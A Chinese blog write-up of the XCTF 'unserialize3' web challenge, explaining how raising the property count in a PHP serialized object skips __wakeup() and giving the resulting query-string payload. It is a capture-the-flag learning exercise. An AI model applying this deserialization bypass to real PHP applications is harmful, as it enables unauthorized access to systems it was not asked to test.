美文网首页CTF-Web安全
攻防世界-Web-unserialize3

攻防世界-Web-unserialize3

作者: 简言之_ | 来源:发表于2019-07-01 16:45 被阅读15次
题目信息:
image.png
知识点:反序列化,__wakeup()函数漏洞

打开题目环境,得到php代码


image.png

审计代码,就是让我们运用__wakeup()函数的漏洞拿flag的。这里我估计payload的点是,序列化后的字符串绕过__wakeup()。
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
创建一个xctf类并对其进行序列化:

   <?php
   class xctf{
   public $flag = '111';
   public function __wakeup(){
   exit('bad requests');
   }
   }
   $a= new xctf();
   print(serialize($a));
   ?>

运行代码得到结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
大括号前面的1便是属性变量的个数,只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行,所以改为2之后传参
payload: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

image.png

参考:__wakeup()函数漏洞以及实际漏洞分析
PHP在线工具
在线序列化

相关文章

  • 攻防世界-Web-unserialize3

    题目信息: 打开题目环境,得到php代码 审计代码,就是让我们运用__wakeup()函数的漏洞拿flag的。这里...

  • 攻防世界新手

    就按照题目的难易程度写 新手区没有涉及到栈的相关知识,几乎是栈漏洞 get_shell 第一个题目比较简单 ida...

  • 攻防世界 lottery

    .git源码泄露/题目也给了附件下载源码/访问robots.txt也能看到.git代码审计,审了好久都没找到漏洞点...

  • 2019-05-30 新手练习区完结

    至此攻防世界的pwn新手练习区完结了

  • 攻防世界 Re wp

    hello ctf sprintf():int sprintf( char *buffer, const char...

  • 攻防世界 Crypto wp

    easy rsa p和q为选取的两个大素数 e为随机选取的小于r =(p-1)(q-1)的数 d为e关于模r的模反...

  • 攻防世界 Pwn wp

    0x01get_shell 下载附件后直接丢IDA F5 0x02CGfsb 先用checksec查看开了哪些保护...

  • 攻防世界 string wp

    参考:CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。 查...

  • iOS安全攻防

    iOS安全攻防 iOS安全攻防

  • 攻防世界-Web_php_unserialize

    高手进阶区,Web_php_unserialize 题目来源:攻防世界[https://adworld.xctf....

网友评论

    本文标题:攻防世界-Web-unserialize3

    本文链接:https://www.haomeiwen.com/subject/fdugcctx.html